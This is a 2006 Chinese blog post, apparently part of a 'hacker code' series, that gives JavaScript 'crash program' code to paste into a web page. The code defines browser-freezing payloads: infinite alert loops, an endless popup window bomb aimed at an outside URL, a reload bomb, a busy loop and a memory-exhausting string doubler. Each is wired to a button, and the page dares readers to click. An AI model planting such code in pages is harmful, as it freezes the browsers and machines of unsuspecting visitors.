黑客代码 之一虚拟格式化硬盘 - -| 回首页 | 2006年索引 | - -用会声会影轻松做定格特效

黑客代码 之二死机程序

                                      

 

死机程序
脚本说明:
把如下代码加入<body>区域中
<script language="javascript">
<!-- begin
function annoyingbutton()
{
   while (true)
       window.alert("hahaha...you can''t do anything anymore in netscape without exiting and restarting....hahaha so gimme da ut now...or else!") }
// keep opening windows over and over again
function windowbomb()
{
    var icounter = 0    // dummy counter
    while (true)
      {
        window.open("http://www.netural.com/~ccamel","crashing" + icounter,"width=1,height=1,resizable=no")
        icounter++
      }
}
// not as interesting as the other bombs, but this one forces the user to
// stay at the current page.  user cannot switch to another page, or click
// stop to stop the reloading.
function reloadbomb()
{
   history.go(0)                         // reload this page
   window.settimeout(''reloadbomb()'',1)   // tell netscape to hit this function
                                         // every milisecond =)
}
// not a very interesting bomb, it does nothing really :>
function whilelooplock()
{
   while (true){}
}
var szeatmemory = "gobblegobble"  // our string to consume our memory
// now this function eatmemoryintime is a interesting one that could be
// placed on a timer for maximum nastiness :>  i have been able to get
// up to 4megs consumed by netscape forcing my machine to crawl =)
// and it''s time driven!  no while loops here!
function eatmemoryintime()
{
    szeatmemory = szeatmemory + szeatmemory                    // keep appending
    window.status = "string length is: " + szeatmemory.length  // report size
    window.settimeout(''eatmemoryintime()'',1);                  // tell netscape to hit this function
}
// end -->
</script>
<center>
下面的每一个按钮都很危险,一按你的电脑立即<font color=red>over</font>,不信试试吧!!!<br>
<form method=post name="formaction" action="mailto:"+webmaster@javascript2000.com>
<input type="button" value="exploding windows"
name="btnexplodewindows" onclick="windowbomb()"><p><br>
<input type="button" value="annoying button" name="btnannoy"
onclick="annoyingbutton()"><p><br>
<input type="button" value="reload bomb" name="btnreload"
onclick="reloadbomb()"><p><br>
<input type="button" value="while loop lock" name="btnwhile"
onclick="whilelooplock()"><p><br>
 <input type="button" value="eat memory in time" name="btneattime"
onclick="eatmemoryintime()"><p><br>
<input type="button" value="action!" onclick="document.formaction.submit()"><br>
</center>

【作者: 梅风剑】【访问统计:】【2006年05月13日 星期六 14:54】【 加入博采】【打印

Trackback

你可以使用这个链接引用该篇文章 http://publishblog.blogchina.com/blog/tb.b?diaryID=5045415

博客手拉手

回复

验证码:   
评论内容: